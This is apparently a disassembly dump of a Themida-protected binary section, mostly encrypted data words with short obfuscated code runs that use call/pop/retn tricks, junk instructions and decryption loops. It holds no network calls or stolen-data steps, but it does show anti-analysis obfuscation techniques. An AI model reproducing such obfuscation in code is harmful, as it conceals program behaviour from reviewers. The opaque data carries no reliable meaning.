dd 0A9309399h, 0D77AA476h, 6F3A63EBh, 0EC0AE4ABh, 0FAC18927h
dd 0A3738FF4h, 0A14ABF7Eh, 0D7000003h, 38F850Dh, 0BED5F868h
dd 5E5D8D06h, 50B93CFFh, 308DED12h, 0FD5BF9CCh, 5332C6B1h
dd 0A1DCB4B6h, 608926C4h, 0C0FD1D22h, 0AD23B33Ah, 245FA072h
dd 0B6FF5644h, 47C24512h, 609CCB9Ah, 0FD097CB2h, 46298829h
dd 26C859B9h, 0BAE52A56h, 0AA5E0985h, 36C2B509h, 0D7BB1554h
dd 42B321A7h, 63Dh, 6607FDE1h, 0F3906610h, 7F1CE09Fh, 1A25E0Bh
dd 8E2FD58Dh, 0EB9787EFh, 601E6C11h, 0DC89FD9Eh, 44378B28h
dd 0AEF113B0h, 0F27204Ch, 0D246D58h, 81BEFCE5h, 0F9D1D861h
dd 0E8BAE55Bh, 41D5215Ah, 0C0CDC28Eh, 0B3DB3B27h, 0FEA7F633h
dd 0BAEDA0A7h, 4D23BA7Eh, 743555EAh, 5BA2AE08h, 8EEE3D20h
dd 20E3FE30h, 105D06BDh, 0BCCB430Ah, 8A6D91CEh, 16E295E9h
dd 5AF0E5E9h, 0ECF9C38h, 0E746D9ACh, 926617h, 738C1EA1h
dd 36F9037Fh, 7727D384h, 457F50E0h, 25C5E612h, 4F764003h
dd 29FEBh, 5E9F3400h, 0A1FE903Ch, 375FBF5Eh, 825EA1FEh
dd 62257C23h, 87B8FAE7h, 0FCA99F67h, 36CB5A5Bh, 993AC0B8h
dd 0D747BD25h, 1ABFFA2Dh, 7F3E4ECh, 730834A7h, 78E1C34h
dd 561h, 3A5BA1DDh, 0C7E41244h, 4B6894F3h, 0D5F60A77h
dd 6203F9E1h, 9FCBB3BBh, 14724065h, 80F5C9EAh, 8635774h
dd 62A5DFFCh, 0F24D400h, 3968A158h, 81BEFCE5h, 0FCA96561h
dd 5DD1505Bh, 0E00C9CCFh, 0DCC2B33Dh, 0B90DAE11h, 97683ACEh
dd 91B1466Ch, 42C59812h, 0A31787F0h, 802C4E04h, 0CDA7F03Fh
dd 29099752h, 0F88F1FFEh, 2A5D6728h, 0BF6F95CDh, 50FA9B7Ah
dd 56186136h, 1E738h, 0B9D20900h, 4F3EB44Dh, 0C746EBBBh
dd 6296C157h, 9FFF0041h, 5EA1FE77h, 0A520E342h, 0A1C17E3Ch
dd 5BF9F328h, 0A1020C77h, 0AE7C86E2h, 0F6E1CC0Bh, 3E21E45h
dd 7B2BD5B3h, 0B9E87736h, 8F274788h, 92A7F609h, 0E7713DCAh
dd 1A851882h, 0B9D90B9Bh, 0DBA7F60Eh, 4DC353ADh, 9A35E917h
dd 4CAED9F6h, 0A7F60E20h, 3B53326Dh, 0B0D63897h, 0BE561F02h
dd 45h, 0BEFCE583h, 0E2586181h, 29655BF9h, 39ED4CB0h, 0F62C6B87h
dd 0AC5009A7h, 6985E5FEh, 24A7F62Ch, 0AD5309FDh, 0C33DABF9h
dd 0EBBDCE53h, 51E18DA4h, 0EBF2097Eh, 97A45040h, 0B0D6B073h
dd 0BE561E63h, 0B5h, 13B9D283h, 0A1FE5BF3h, 0E59C165Eh
dd 45248519h, 86E230E2h, 9DCFC37Ch, 2BFB0F78h, 32772786h
dd 0B35B2037h, 0D756BE89h, 7286F147h, 8D7912A0h, 7496D7E8h
dd 5EA142D8h, 578B0A95h, 5EA14575h, 0EB887C6Fh, 0FC0547A0h
dd 0F8C26F9Ah, 30D1505Bh, 9F3CC6A2h, 0E145BF2Bh, 34743BCCh
dd 0CA5BBA28h, 74000003h, 0FDD1F208h, 6A587D8Bh, 0EEDC817Dh
dd 186E0FF3h, 52F99A60h, 8278601Ah, 9F7EDE1h, 93671664h
dd 1FEB9CF2h, 0E101467Eh, 580F25B5h, 0D298B700h, 72B34CB6h
dd 0A1FEE410h, 57DB15Eh, 0F89D1CFFh, 1C25D18Ah, 69EFBAE1h
dd 91655DB2h, 0F19215EBh, 4DB9D23Eh, 0BE403EB4h, 0AED96FFFh
dd 0FD08395Ah, 99F9CD94h, 5EA1717Dh, 3462E938h, 6617E70Ah
dd 1EA10092h, 627E9Bh, 5EA105D4h, 629F7EA1h, 595C121h
dd 9CCF5EA1h, 0AB6AB568h, 0F9393456h, 2B7A5BFAh, 102B497Bh
dd 1C45A7F9h, 84FC32E0h, 28D68C7Eh, 0DDF2827Ah, 9E31C7F4h
dd 0B347693h, 7220D487h, 52936C2Fh, 4BDB275Ch, 0F2FB27E6h
dd 0BFA2A2ECh, 0A8D7DB64h, 61B0D554h, 0D94DB9D2h, 0C7E4104Bh
dd 0A8591BC4h, 0F9F37346h, 5BBB3C5Bh, 0A7F61F33h, 0D644277Eh
dd 0F61F842Ch, 6F8E6A7h, 0C45A0694h, 7985E952h, 7B2B8ADBh
dd 527B54E4h, 0E19B1738h, 0C739A717h, 2153D257h, 0B366806Eh
dd 5048561Eh, 0D9000000h, 81BEFCE5h, 0BCAA0F7Ah, 0E5A4FE17h
dd 0A8D7DB1Ch, 5AF99130h, 907318A0h, 3CE70F6Fh
dd 73B25EA1h, 20AB6EB0h, 2D745BF9h, 6A2B4779h, 0E191A7F9h
dd 0A32640AEh, 0C500561Fh, 104ED282h, 38986BEEh, 0FDEDB0B7h
dd 0ED951A5Eh, 0AEDD2Ah, 9F620000h, 1E8C7813h, 31AA189Bh
dd 0A7C351C5h, 7BC95Dh, 0E79026F4h, 8E707213h, 705EA1F9h
dd 0FCD2F307h, 8F7B6C8Bh, 6B3B9A1Fh, 0BA4705E2h, 5FF6D58h
dd 0B6D74EA4h, 0B7480AF7h, 0AF8B2857h, 0E51A85A2h, 0B72A42A4h
dd 1148AC0Ch, 2CEF36EDh, 59A3DFD3h, 0E01A4634h, 8F6A5D02h
dd 0D63FAD3Fh, 201h, 9A3BC1BDh, 2744B224h, 0ABC83453h
dd 3556AAD7h, 0C2E31941h, 3FAB531Bh, 0B4D2A0C5h, 2055294Ah
dd 0A8C3B7D4h, 0C2053F5Ch, 0F2374A0h, 0D9C84158h, 2F4CB6D2h
dd 2BD4205Bh, 0FE6C88EAh, 0F6295EA1h, 0D62D5637h, 0C4DEB949h
dd 85941709h, 36ADFCE5h, 12D958CAh, 414763D0h, 0A37968Ch
dd 609CC5C9h, 0B5B801A1h, 1A855BF9h, 0D4367788h, 0A7F9D7B8h
dd 2D89CEF5h, 3855D71Eh, 0E808D659h, 52A7F96Eh, 6DD2CA31h
dd 9CF36B69h, 0C8EB0363h, 7FA6A7F9h, 2DC3CCBCh, 561F450Bh
dd 0BA13h, 0B9D23C00h, 1F4BD94Dh, 25565CE5h, 5DDC5DD1h
dd 0F9B517C9h, 9BE25EA1h, 81D18366h, 3B372EBh, 18639C68h
dd 0DFF8D74Fh, 0C8AD6C58h, 0A17581FAh, 48F9BB24h, 432CFC07h
dd 0ABD74B97h, 0A564C731h, 5D0807Dh, 91326DA4h, 92AFED0Ah
dd 1699651Ch, 0B0DD89E9h, 49D8A2AFh, 0B24C3AB8h, 1FE41E0h
dd 6E98F2C0h, 8E1CEA9Ch, 0AEDA682Bh, 27433754h, 54079DDh
dd 36A43F8Fh, 0E8DFh, 0D02A5A00h, 5BADDFB3h, 0E31F443Ah
dd 6995CCC2h, 0F00A7644h, 5A4428D3h, 0C3B7D42Eh, 443A5BA5h
dd 0F2C0E511h, 34486D99h, 207B93F3h, 0F936580Fh, 4CB6D2C6h
dd 0D4205B2Fh, 5B008EB7h, 9FF5E4A7h, 0C8F7913h, 6539CDBEh
dd 9561149Ah, 0ADE1A001h, 0EEADCE3Ah, 5CBE4301h, 5BFCA964h
dd 0F644D649h, 7E4C7185h, 0FB25F90Dh, 5ED9460Eh, 9FA5EA7Ah
dd 77B18ECh, 709CFE54h, 3DEEB765h, 509303E2h, 25FE4835h
dd 0B772A9C5h, 0BEBDE4EEh, 0C323C6AAh, 0EEB742ABh, 23DCBFE6h
dd 0B742ABC3h, 0FCBFE6EEh, 52EF134Eh, 58DB275Ch, 0BDC809CAh
dd 0C424E2B7h, 0E8981BBBh, 7AEA9DA7h, 3CA2CA35h, 2551B10Dh
dd 70EEB7A0h, 8BFC4E31h, 0AB0AAF7Fh, 996D1896h, 80E5A405h
dd 0F9AD5932h, 0C94h, 1FE09D00h, 55B4E2E4h, 27E65535h
dd 48B2D234h, 0E71344DAh, 0F4E137h, 98661C92h, 36CCB40Ah
dd 50AAD664h, 0E9154CC2h, 4F8E735h, 0A0560096h, 895014F2h
dd 4BB53E0h, 1000000h, 0E8835BD8h, 24048704h, 7076685Ch
dd 1C890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
dd 52240489h, 686FF668h, 0F2815A52h, 54C6BAD1h, 148BD389h
dd 4C48324h, 24048B54h, 5104C483h, 1150B850h, 7E352989h
dd 0C17A3661h, 0DD3504E0h, 350C7D30h, 378A3235h, 158C189h
dd 591989C1h, 5124048Bh, 0C181E189h, 4, 8704C183h, 8B5C240Ch
dd 8957241Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h, 661AE95Ch
dd 0FC1AFFFAh, 6FE2FC07h, 0DDB5FFDBh, 0DF95B8DAh, 0C50306AEh
dd 4D1DE0FFh, 0D8A84DA4h, 29181776h, 64E502E9h, 0FA320B40h
dd 2DA226C2h, 31EE1A4Eh, 3406B6Fh, 0F108794Bh, 0D687067Fh
dd 4826731Ah, 0AA416428h, 0D58974F3h, 82B62760h, 30AB2C78h
dd 1C463932h, 7338787Fh, 0CE2F77E9h, 8E855B2h, 0C4000000h
dd 21BBA73h, 81B5073Bh, 0CB7E5BCBh, 81FC592Ch, 5BFFC1h
dd 13800F00h, 0E8000000h, 0Bh, 0C8248029h, 0F5BA0D85h
dd 502A4D92h, 0D6685B5Bh, 0E9000016h, 0Eh, 0A1CC26D8h
dd 10AB984Ch, 3B0AC7DDh, 0B85EC94Fh, 5F16EA4Dh, 81F9398Bh
dd 321A2C7h, 0D18B661Ah, 8D52EF81h, 0D28128C1h, 189A5418h
dd 0D23DF781h, 1CBB5B54h, 89335D3Ch, 0C3815739h, 142922A1h
dd 1E98358h, 18840Fh, 0E9510000h, 11h, 4C37478Eh, 3B587D56h
dd 0EFFC4265h, 2D5A2E42h, 49495B95h, 0C6BF0F49h, 0F01EE83h
dd 0FFFFA385h, 0AE8F9FFh, 0C3000000h, 5286274h, 35BB897Ch
dd 6CB6BAFFh, 0BA59321Bh, 761AAD39h, 644FC181h, 11E90000h
dd 0AC000000h, 34C35560h, 2FE4FB4Bh, 1D438B54h, 0B3AA3A1Eh
dd 68h, 665EFC00h, 1C8BD38Bh, 0E7816631h, 0F38112D5h, 68D62DF2h
dd 16830F60h, 0E9000000h, 11h, 0D6E0AEBBh, 7A053678h, 0FCD1E26h
dd 211EB213h, 0D781661Ch, 81612E01h, 0FFB07FEBh, 0DE96047h
dd 63000000h, 0DC4C2564h, 0FAF8A8FDh, 0F5960F8Ah, 0C38161FCh
dd 0E22375h, 48FF953h, 9880F31h, 0F000000h, 38Ch, 0D2B70F00h
dd 0BF02EE83h, 4AF85AC2h, 52564E4Eh, 13E9h, 91C0A00h, 1B8E6C9h
dd 122D1902h, 176B94A6h, 5610DEDCh, 0FE81585Ah, 0FFFF9CC0h
dd 30850Fh, 14E90000h, 30000000h, 0C053D65Dh, 8CAFF509h
dd 29A2D51h, 0E8CCBF04h, 0E91B6D09h, 22h, 0FE567FFDh, 7E204016h
dd 0B48736EAh, 0EBE7604Eh, 8FBA612Eh, 0E961CAFDh, 0FFFFFF2Eh
dd 8FCD9E08h, 8D8DA340h, 6AEE327h, 10E9h, 741FEE00h, 0B8C1142Eh
dd 0A5ABEB52h, 1EBA4C5Bh, 0B98D89B9h, 8B06A805h, 0A8069985h
dd 6985C706h, 4406A814h, 6A000066h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 8CB7C350h
dd 619D8979h, 8B06A830h, 0BD85C7F3h, 6A80Bh, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 35E6C351h, 14E8BCh, 0B18C0000h, 587B650Ah
dd 24734ED9h, 0CCB2C91Dh, 910F1B0Dh, 0E781B7B7h, 4F37618Bh
dd 71B5FF5Eh, 0E806A820h, 12h, 0E9CFDD88h, 2903DE61h, 489A33ABh
dd 0B964B798h, 8D29E4ADh, 6A81019h, 0DD95FF5Ah, 8A06A820h
dd 0FF006AC3h, 0A81B3195h, 0EBC08B06h, 3E902D09h, 8C019A62h
dd 8D8DF863h, 6AEE449h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 4FC35040h, 0D2791BA7h, 0BFA02550h, 75BE66C8h
dd 0B98D8994h, 6606A805h, 9AE0FB8h, 0A829A1BDh, 6985C706h
dd 4806A814h, 6A00006Ch, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 0F5B8C351h, 72D8F588h
dd 0E805611Eh, 10h, 0E90CB925h, 75A810F0h, 0A4A5EA37h
dd 3BA9904Eh, 132EBE66h, 0BD85C75Bh, 6A80Bh, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 0BF87C357h, 1105A769h, 0A7D144A3h, 6E9h
dd 1E89F900h, 0F0FAA4Eh, 286h, 0FFF78B00h, 0A81561B5h
dd 0FA4CBB06h, 8D892078h, 6A82149h, 20DD95FFh, 6A06A8h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 90F1CBC3h, 89087352h, 0A8219D9Dh, 4DBD8906h, 6A06A830h
dd 3195FF00h, 8B06A81Bh, 140BEBC0h, 62340C6Eh, 6027C68h
dd 9E8C4DAh, 0FC000000h, 16043B89h, 0CDA3A83Eh, 0DB9852Bh
dd 0E95F06A8h, 6, 0EA3B4782h, 0C78136C1h, 6C7Fh, 2089958Bh
dd 0F1BB06A8h, 6000001Ah, 0DDD8D89h, 665006A8h, 5A8F78BEh
dd 6637FF61h, 0E67FD281h, 69C9805Eh, 4397EE81h, 0D9804B3Bh
dd 0CBF681BCh, 66444D55h, 6231C181h, 378DF681h, 8B56600Eh
dd 0A8068595h, 37895906h, 16E59D31h, 0EF8106A8h, 0E3C78FFh
dd 0A718D89h, 0C78106A8h
dd 0E3C78FBh, 0FE9h, 0ABF73600h, 96C670F1h, 51D1662Eh
dd 2FD9EB78h, 1EB81h, 850F0000h, 0FFFFFF99h, 12E8h, 566BF500h
dd 0C5B16112h, 276C4275h, 9627CB21h, 8932849Dh, 0A82CCD85h
dd 0EE85A06h, 5D000000h, 14B95DA5h, 3A2E624Ah, 0D7D4915Ah
dd 29B52335h, 5F06A81Bh, 1E418D8Bh, 0C78106A8h, 6185h
dd 7E9h, 0FAF2FF00h, 18C913DCh, 34FFC033h, 0B5295138h
dd 6A807C1h, 0C2815B5Ah, 7410DB6Fh, 0FCBBEB81h, 8B66181Dh
dd 6CF381F1h, 236A3BE6h, 0A80F6595h, 0CEC38106h, 5078E733h
dd 6BD68166h, 89535EC4h, 0A82CCD9Dh, 7048F06h, 0EADBD89h
dd 896006A8h, 0A806CD8Dh, 886BB906h, 83617EDFh, 858903E8h
dd 6A833EDh, 75853148h, 8106A833h, 0FF9F18F8h, 93850FFFh
dd 66FFFFFFh, 0AF8FEE81h, 0E6668D8Dh, 0E1BB06AEh, 0E9792581h
dd 6, 4727A295h, 8D89C3C6h, 6A805B9h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 10C35242h, 66FEEB17h, 85C7C18Bh
dd 6A81469h, 6BA0h, 2665958Bh, 85C706A8h, 6A80BBDh, 0
; ---------------------------------------------------------------------------
jmp loc_5B8032
; ---------------------------------------------------------------------------
db 78h, 0E0h, 30h
; ---------------------------------------------------------------------------
xor al, 0A6h
loc_5B8032: ; CODE XREF: Themida_:005B8028j
push dword ptr [ebp+6A801B1h]
sub [ebp+6A82B91h], esi
call dword ptr [ebp+6A820DDh]
push 0
push edi
call sub_5B804F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B804F proc near ; CODE XREF: Themida_:005B8047p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5B804F endp
; ---------------------------------------------------------------------------
ror byte ptr ds:0CE7E1C51h, cl
cmp [ecx], ebp
mov ch, 0C1h
push gs
push es
push 0
call dword ptr [ebp+6A81B31h]
mov eax, eax
jmp short loc_5B80E4
; ---------------------------------------------------------------------------
dd 9D948039h, 6CFCF90Ah, 0D49AE719h, 33B05346h, 0B02BB609h
dd 0F3AB695Bh, 6959DC1h, 117E096Bh, 9857AF06h, 490F3CCh
dd 0ECC100D5h, 22D51E7Eh, 0D05649D8h, 574E35A8h, 0B0C4B231h
dd 65C01F5Ah, 78A2CCB9h, 0DEE71D22h, 0B1FE4B09h, 0B2CE69C4h
dd 22FA600Bh, 928C5A97h, 7649B85Eh, 2AF691CCh, 0D636DBC8h
dd 94875606h, 0B373EB5Ah
; ---------------------------------------------------------------------------
loc_5B80E4: ; CODE XREF: Themida_:005B8076j
lea ecx, [ebp+6AEE79Bh]
push 0
push ecx
call sub_5B80F5
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B80F5 proc near ; CODE XREF: Themida_:005B80EDp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5B80F5 endp
; ---------------------------------------------------------------------------
db 0DCh, 0Bh, 0DAh
dd 68A0Fh, 9D090000h, 6A819ADh, 5B98D89h, 6A06A8h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0CC078CC3h, 0D88166D0h, 85C7644Eh, 6A81469h, 5A7Ch
dd 418D8953h, 5E06A814h, 68CCBB66h, 0BBD85C7h, 6A8h, 66560000h
dd 0FF58F88Bh, 0A816FDB5h, 68E0F06h, 8B000000h, 0A81E059Dh
dd 48D0F06h, 66000000h, 0FFB5C9BFh, 0A820DD95h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 0FF006AF6h, 0A81B3195h, 0EBC08B06h, 91143E39h, 0EA355C0Eh
dd 1D1A6F3Bh, 0E9A3E4AFh, 0A4B813FDh, 0D73A3D33h, 237C170Bh
dd 269493h, 99B7B328h, 15F8D9BAh, 7D75CEE2h, 6CD1BBF5h
dd 9E26FA9Ch, 683F5E83h, 8D8DA133h, 6AEE8A7h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4AC35343h, 10E83DA9h
dd 0D791AF70h, 0CD8589A8h, 8906A816h, 0A805B98Dh, 870F6006h
dd 6, 210D852Bh, 8D3106A8h, 6A82AE5h, 6985C761h, 8C06A814h
dd 6A000066h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 192C351h, 0E50CF554h, 0B307D3Eh
dd 86EF8166h, 0BD85C729h, 6A80Bh, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 2957C357h, 89F96257h, 0A8150D9Dh, 0A1B5FF06h, 8B06A814h
dd 0A82F4D9Dh, 0DD95FF06h, 5306A820h, 81E9BA66h, 0FF006A5Bh
dd 0A81B3195h, 0EBC08B06h, 1DA7F129h, 0D61C29DAh, 8D38449Ch
dd 8720FFE0h, 83B6114Eh, 7A775676h, 9C0F70B0h, 0AF5C080Fh
dd 4D15E54Dh, 0E3CA79E3h, 9E8024Ch, 86000000h, 1B4108FAh
dd 0F32EED43h, 73B9D081h, 665A0EAAh, 0C281F38Bh, 7048h
dd 6870Fh, 0BD890000h, 6A817A9h, 1BF568h, 59E18A00h, 3375B589h
dd 32FF06A8h, 21319D89h, 895F06A8h, 0A82E2D9Dh, 0E3C78106h
dd 0FC4246DCh, 0C6C4EF81h, 0B5233346h, 6A821FDh, 0C6C3F781h
dd 9D096486h, 6A821BDh, 0EC803A89h, 4EA8355h, 1E981F9h
dd 0F000000h, 0FFFFBD85h, 0E8F08BFFh, 14h, 193EE9A2h, 1D8476F1h
dd 4953D569h, 0AB18C8Fh, 0D9587B65h, 20799D89h, 15A06A8h
dd 0A81A599Dh, 0AFC28106h, 52000062h, 0B2BC881h, 0BF58612Ch
dd 0
; ---------------------------------------------------------------------------
stc
loc_5B8399: ; CODE XREF: Themida_:005B83F7j
mov ebx, [edx+edi]
or ax, 0D5B7h
sub ebx, 7B311694h
sub ebx, 23550376h
xor [ebp+6A820A5h], edx
add ebx, 34327AA1h
mov [ebp+6A82B81h], ecx
push ebx
jnb loc_5B83DC
jmp loc_5B83DC
; ---------------------------------------------------------------------------
db 0E7h
dd 7FFC3227h, 0EFE5DF1Fh, 474479D5h, 792E935Dh
; ---------------------------------------------------------------------------
loc_5B83DC: ; CODE XREF: Themida_:005B83C0j
; Themida_:005B83C6j
pop dword ptr [edx+edi]
mov si, dx
mov esi, [ebp+6A8055Dh]
sub edi, 4
mov [ebp+6A80BD5h], ecx
cmp edi, 0FFFF9DECh
jnz loc_5B8399
mov [ebp+6A822D9h], esi
lea ecx, [ebp+6AEEAAFh]
push 0
push ebp
call sub_5B8414
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8414 proc near ; CODE XREF: Themida_:005B840Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5B8414 endp
; ---------------------------------------------------------------------------
lahf
push 0FFFFFF8Eh
adc eax, 666312D8h
mov [ebp+6A805B9h], ecx
push 0
push esi
call sub_5B843D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B843D proc near ; CODE XREF: Themida_:005B8435p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5B843D endp
; ---------------------------------------------------------------------------
add eax, 0E84ABF66h
mov edi, ebx
mov dx, 4397h
mov dword ptr [ebp+6A81469h], 6B84h
push 0
push esi
call sub_5B846D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B846D proc near ; CODE XREF: Themida_:005B8465p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5B846D endp
; ---------------------------------------------------------------------------
db 50h, 0A2h, 0Fh
dd 0C8Ah, 850B6000h, 6A801A9h, 958BBA66h, 0BD85C761h, 6A80Bh
dd 31000000h, 0A8168595h, 0A9B5FF06h, 0B006A81Dh, 0DD95FFC1h
dd 8906A820h, 0A800DD9Dh, 0FF006A06h, 0A81B3195h, 0EBC08B06h
dd 0A8F3E40Ch, 7F9C5F1Eh, 0A97349FFh, 9E8F4h, 5B5A0000h
dd 0DEC721CBh, 8B0B62E9h, 0A8297585h, 29605E06h, 0A817C5BDh
dd 71858B06h, 6106A809h, 5B39C681h, 0BBF90000h, 105F8B7Bh
dd 8B18C381h, 0BA66EFA0h, 36FF9CE6h, 15CD9D01h, 0B65906A8h
dd 94F18106h, 0F90A3D68h, 0B9CCE981h, 0DF812214h, 732811DFh
dd 322FE981h, 0EE97E68h, 0F2000000h, 2CBA0A64h, 7D34DDD7h
dd 0D6573D7Eh, 8A0E8935h, 0EE81E2h, 0FC6366F6h, 0F5FCC681h
dd 60606366h, 16CD858Bh, 858B06A8h, 6A81A5Dh, 0EB836161h
dd 3E850F01h, 0E8000000h, 14h, 45C2F9Ch, 0EE903DE1h, 0BDEB6C86h
dd 20FBC7F4h, 0A719AC63h, 6800Fh, 0C2810000h, 3B85016Ah
dd 31E95Fh, 4DEC0000h, 0E8D7D154h, 7902A16Ah, 7987210Bh
dd 3E7B1326h, 0DA8057BBh, 57E9586Fh, 3FFFFFFh, 0E32E5D78h
dd 7194C50h, 0BDA5FDF3h, 9F8DF15Eh, 0E845172Ah, 8, 0AEA0AE7Bh
dd 0D678F6BFh, 9AA2F681h, 8B587F49h, 0A821C19Dh, 0D1C08106h
dd 60000064h, 29B5858Bh, 2BBE06A8h, 612794B8h, 64484FBAh
dd 0C0C28167h, 29989BD0h, 0A82F6D85h, 6630FF06h, 0BCF4DE81h
dd 98E98159h, 50305F8Ah, 18F1815Bh, 811ABD19h, 627EBBD6h
dd 0B5C18139h, 51755634h, 68E0Fh, 0EE810000h, 69891403h
dd 9D8B008Fh, 6A826A1h, 6DBCE881h, 0BB662782h, 0C0812CF0h
dd 27826DB8h, 0C7816650h, 815BEA49h, 1EAh, 0A6850F00h
dd 8BFFFFFFh, 0A80F799Dh, 6E806h, 4DCF0000h, 0DC088F05h
dd 9D895BF8h, 6A81769h, 6DBBC381h, 8B660000h, 1B4368F2h
dd 81660000h, 5A26ABC6h, 6820Fh, 0BD290000h, 6A82521h
dd 0F5633FFh, 585ECFBFh, 6870Fh, 8D8B0000h, 6A81EE5h, 0E19DF081h
dd 0B58B3790h, 6A827B1h, 45B5E881h, 8D8B7E33h, 6A8326Dh
dd 4B73E881h, 0BD894C0Fh, 6A815EDh, 8FFE8B50h, 1EB8303h
dd 6850Fh, 8D8B0000h, 6A827ADh, 894B4B4Bh, 0A80EADBDh
dd 1EA8106h, 0F000000h, 1785h, 19B58900h, 0E906A801h, 19h
dd 6A5A2D11h, 392BA5FBh, 0D0E6F129h, 0E96CE180h, 0FFFFFF80h
dd 0AEC3479Ah, 0A0758298h, 14690889h, 8DA6DC78h, 368D481Fh
dd 35A12E86h, 0D9259086h, 30254813h, 1E189905h, 3F25142Eh
dd 30258102h, 0B5980786h, 3023EA93h, 305EA589h, 0B5E39086h
dd 368D5D53h, 0D1BE4CC8h, 4A4F4CBh, 3F13D2A2h, 0D907BC8h
dd 0BD23EAA8h, 9B4C5003h, 0BBF56F80h, 0E5A08E76h, 7E238C93h
dd 3025166Eh, 72F24986h, 74AED42Eh, 30AE46A2h, 3401650Fh
dd 0B5906FDEh, 0BD23E093h, 9B4C5503h, 0BBF5ED80h, 3035B07Eh
dd 38CC8486h, 96254286h, 302BA489h, 3B6C9086h, 0C0A0474Fh
dd 0D9DADB79h, 3025128Bh, 7F8A940Bh, 359D822Eh, 0CF254286h
dd 3C98AC65h, 0BD233E6Bh, 9EC89A0Bh, 15379C80h, 0FF0E94B6h
dd 0A0758247h, 14690889h, 8DA6DC78h, 368D481Fh, 35A12E86h
dd 0D9259086h, 30254813h, 83189905h, 0A4F305E9h, 22B9h
dd 0BE900h, 0EF840000h, 7FE8h, 0
dd 802E900h, 57F20000h, 0A27881Eh, 3058FB4Fh, 0EC822D79h
dd 91B21DA9h, 0B0C14EDCh, 3E8CC162h, 62B8F595h, 5CEAA3C1h
dd 8D1950F3h, 81B9C319h, 43B606C5h, 1CBA1E05h, 57D6AEEAh
dd 7DBB94AFh, 57D6ACEBh, 1D54F7AFh, 33E96389h, 622B4AFDh
dd 8E12EC3Dh, 3C8B2D89h, 45872398h, 0B6007B22h, 39EA37E0h
dd 6ED15518h, 881986CFh, 8007ACE5h, 0E0838A2Bh, 0CDB91DA9h
dd 28147772h, 7Ch, 9B5EFFF3h, 316AB7FAh, 294ADB58h, 0D1A4D85h
dd 3D164C87h, 8F34F89h, 0BCD41D63h, 0A3088F7Ch, 175AFB02h
dd 0F73355F3h, 0CDAF5818h, 0E84C3662h, 12DF90FCh, 431Bh
dd 6302ED00h, 0BAA58E2Ah, 2F743959h, 0A2EB8DFEh, 4D88A976h
dd 34EEF2Eh, 0F948D9Eh, 7EF8251Eh, 0AF57D737h, 0E6EDB6E5h
dd 98D20845h, 10AA74ACh, 1A3EAFE4h, 917FC553h, 0DE430A2Eh
dd 19E46BCDh, 0C7000000h, 1BF25EFFh, 0D7B95BBEh, 38C26F58h
dd 0AF5815FEh, 0B9C0614Ah, 6A51D598h, 0D80EB5E7h, 0FFD807AEh
dd 98B3FDB5h, 9C2BC6BAh, 6B38EB2Bh, 7E57F1C8h, 0E1871885h
dd 0BF412A8h, 28F72168h, 23E44900h, 339C4AF1h, 10DA5E13h
dd 0A82D83F6h, 49D641BCh, 7D842D86h, 0EE1492DBh, 42EA3640h
dd 0A8A10968h, 0A84C2A6Eh, 9AB718BCh, 0EDB2E6DFh, 0FBE4024Bh
dd 2B981059h, 0A84BF723h, 0A102B9BCh, 1851F4DFh, 8916829Bh
dd 3B60A6EFh, 0B91C30BAh, 0E0EC515Ah, 0E043FF48h, 0FFE6C3FBh
dd 0BA30155Ch, 2F743959h, 5FE3E4FEh, 151B8693h, 0F4123983h
dd 15DFCAE8h, 4BEFh, 59BA3000h, 7648923Ah, 9C19FD36h, 8B2D7EA3h
dd 87CC863Ch, 0D7F0F748h, 0BAB1968Fh
dword_5B89E0 dd 3A87DA1Ch ; DATA XREF: Themida_:005504A5r
; Themida_:00550507r
dd 8BA8ECF7h, 43DFDB2Dh, 6BA5AF58h, 0EE5EE720h, 791C8D74h
dd 0BA624730h, 1059FFDDh, 226B09EAh, 270CACFDh, 40DFE0C5h
dd 0FA000000h, 723B59BAh, 722D6126h, 800BA95h, 0DEAF57D7h
dd 971C59F5h, 0EACF1286h, 0FF2B0449h, 9ADDDC7Dh, 5BFDBFE6h
dd 0B4FF3912h, 92B31CBAh, 0FF5259DFh, 0BA2B1059h, 12733A59h
dd 0A3F4397Ch, 0FF8B9075h, 4E88155Ch, 0AF5C58B8h, 9C0148EBh
dd 822F6203h, 7AF9BA13h, 0DAE1423Bh, 0AED4F2BBh, 5C591C1Ch
dd 0ACE587AFh, 7BD41607h, 4BEC573Dh, 7D92FDE7h, 0BE977C08h
